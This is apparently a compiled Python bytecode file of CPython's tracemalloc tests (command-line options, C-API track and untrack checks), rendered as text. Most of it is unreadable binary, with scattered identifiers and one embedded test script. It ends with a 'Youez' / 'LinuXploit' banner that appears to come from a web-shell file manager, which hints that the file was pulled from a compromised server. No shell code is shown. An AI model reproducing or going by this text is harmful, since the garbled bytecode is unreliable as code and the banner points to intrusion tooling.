A%c��[H,nURUS9 URU5 SSS5 M. g!,(df   M@=fr�)r�r�r�r�s  r�test_sys_xoptions_invalid�)TestCommandLine.test_sys_xoptions_invalid�s7��$�F����V��,��/�/��7�-�,�%�,�,�r�N�need _testcapic�$�Sn[SSSU5 g)Nz2import _testcapi; _testcapi.test_pymem_alloc0(); 1r�r#r�)r�rkrs  r�test_pymem_alloc0�!TestCommandLine.test_pymem_alloc0�s��D����}�d�D�9rre)rorprqrrr�r��skipIfrr�r�r�r�rr�r�r�r�r�	_testcapirrsrerrr�r��s���+��_�_�5�7�M�O�+�O�+�+�*�(��
4��
4�3�

F�	4��8��8�
�_�_�Y�$�&�(8�9�:�:�:rr�rc��\rSrSrSrSrSrSrSSjrSSjr	Sr
S	rS
rSr
SrS
rSrSrSrSr\R*"\SLS5\R0"5\R*"\R4S5S555rSrSrg)�TestCAPIr�i@c���[R"5(aURS5 SUlSUl[UR5SUl[UR5Ulg)Nrxr:r�r)	r#ryrzr�r)r,r��id�ptrr|s rr}�TestCAPI.setUp�sR���!�!�#�#��M�M�G�H������	�!�$�)�)�,�Q�/����d�h�h�<��rc�.�[R"5 grPr�r|s rr��TestCAPI.tearDown�r�rc��[R"URUR5nUb[R
"U5$grP)�_testinternalcapi�_PyTraceMalloc_GetTracebackr�rr#r&)rkrs  r�
get_traceback�TestCAPI.get_traceback�s6��"�>�>�t�{�{�D�H�H�U�����(�(��0�0�rc��[US5n[R"URURUR
U5 U$)Nr)r r	�tracemalloc_trackr�rr))rk�release_gilrrs    r�track�TestCAPI.tracks6���F�A�&���#�#�D�K�K����4�9�9�$/�	1��
rc�\�[R"URURU5 grP)r	�tracemalloc_untrackr�r�rkrs  r�untrack�TestCAPI.untracks���%�%�d�k�k�4�8�8�[�Irc���[R"5n[R"SUR5nUR	U/5n[SUR55$)NTc3�8# �UHoRv� M g7frPr�)�.0r�s  r�	<genexpr>�-TestCAPI.get_traced_memory.<locals>.<genexpr>s���;�?�%�:�:�?�s�)r#r�rAr�r0r�r�)rkrK�
domain_filters   rr��TestCAPI.get_traced_memorysM���,�,�.��#�0�0��t�{�{�C�
��)�)�=�/�:���;�8�?�?�;�;�;rc�B�Sn[R"U5 [R"5SnURX5nUR	UR5[R"U55 UR	UR5UR5 g)Nr:r)r#r{r�rrjrr&r))rkrrr)rs     r�check_track�TestCAPI.check_tracks|�������&�!��,�,�.�q�1�����K�0������+�+�-�$�.�.�v�6�	8�	
����/�/�1�4�9�9�=rc�&�URS5 g�NF�r)r|s r�
test_track�TestCAPI.test_tracks������rc�&�URS5 g�NTr-r|s r�test_track_without_gil�TestCAPI.test_track_without_gil!s��	
����rc���Sn[R"U5 UR5 URUS9nURUR	5[R
"U55 g)Nr:r�)r#r{rrjrr&)rkrrs   r�test_track_already_tracked�#TestCAPI.test_track_already_tracked&sY�������&�!�	
�
�
�����6��*������+�+�-�$�.�.�v�6�	8rc���[R"5 UR5 URUR	55 URUR
5UR5 URU5 URUR	55 URUR
5S5 URU5 URU5 grY)
r#r{rr�rrjr�r)rr�rs  r�
check_untrack�TestCAPI.check_untrack3s��������
�
�����T�/�/�1�2�����/�/�1�4�9�9�=�	
���[�!����$�,�,�.�/�����/�/�1�1�5�	
���[�!����[�!rc�&�URS5 gr,�r8r|s r�test_untrack�TestCAPI.test_untrackCs�����5�!rc�&�URS5 gr1r;r|s r�test_untrack_without_gil�!TestCAPI.test_untrack_without_gilFs�����4� rc��[R"5 [R"5 UR[5 UR5 SSS5 UR
UR55 g!,(df   N.=frP)r#r{r�r�r�rr�rr|s r�test_stop_track�TestCAPI.test_stop_trackIsV����������
�
�
�|�
,��J�J�L�-����$�,�,�.�/�-�
,�s�A9�9
Bc��[R"5 UR5 [R"5 UR	[
5 UR
5 SSS5 g!,(df   g=frP)r#r{rr�r�r�rr|s r�test_stop_untrack�TestCAPI.test_stop_untrackQsF�������
�
������
�
�
�|�
,��L�L�N�-�
,�
,�s�A*�*
A8Nrzneed release buildc�.�[R"5 grP)r	�tracemalloc_track_racer|s r�test_tracemalloc_track_race�$TestCAPI.test_tracemalloc_track_raceYs��	�(�(�*rc�X�[R"S[S35n[SU5 g)Na
            from test import support
            import tracemalloc
            import _testcapi

            class Tracked:
                def __init__(self, domain, size):
                    self.domain = domain
                    self.ptr = id(self)
                    self.size = size
                    _testcapi.tracemalloc_track(self.domain, self.ptr, self.size)

                def __del__(self, untrack=_testcapi.tracemalloc_untrack):
                    untrack(self.domain, self.ptr, 1)

            domain = z
            tracemalloc.start()
            obj = Tracked(domain, 1024 * 1024)
            support.late_deletion(obj)
        r�)�textwrap�dedent�DEFAULT_DOMAINrrs  r�test_late_untrack�TestCAPI.test_late_untrackas3�����$�%�%�&	� �
��(	��t�$r)r�r�rr))Fr)F)rorprqrrr�r}r�rrrr�r)r.r2r5r8r<r?rBrEr�rr	r
�requires_working_threadingr�Py_DEBUGrIrOrsrerrrr�s����G�
 ����J�<�
>� ��
8�"� "�!�0���_�_�Y�$�&�(8�9��0�0�2�
�_�_�W�%�%�';�<�+�=�3�:�+�%rr�__main__)*r&r
rrLr#r��
unittest.mockr�test.support.script_helperrrr�testr�test.supportrr	r
r	r�ImportErrorrN�	getsizeofr%r�r r,rNrrUrWrZ�TestCaser\rur#r�r�rrro�mainrerr�<module>r\sR���	�
�����J�J��,�"�)�������M�M�#�&�����I�!�B2�)�)�)�J�H�%�%�J�&NE�X�.�.�NE�bs0�8�$�$�s0�l	P6�(�#�#�P6�fZ:�h�'�'�Z:�z
����d�"�$4�5�M%�x� � �M%�6�M%�`�z���M�M�O���O#���I����s�D$�$
D1�0D1

Youez - 2016 - github.com/yon3zu
LinuXploit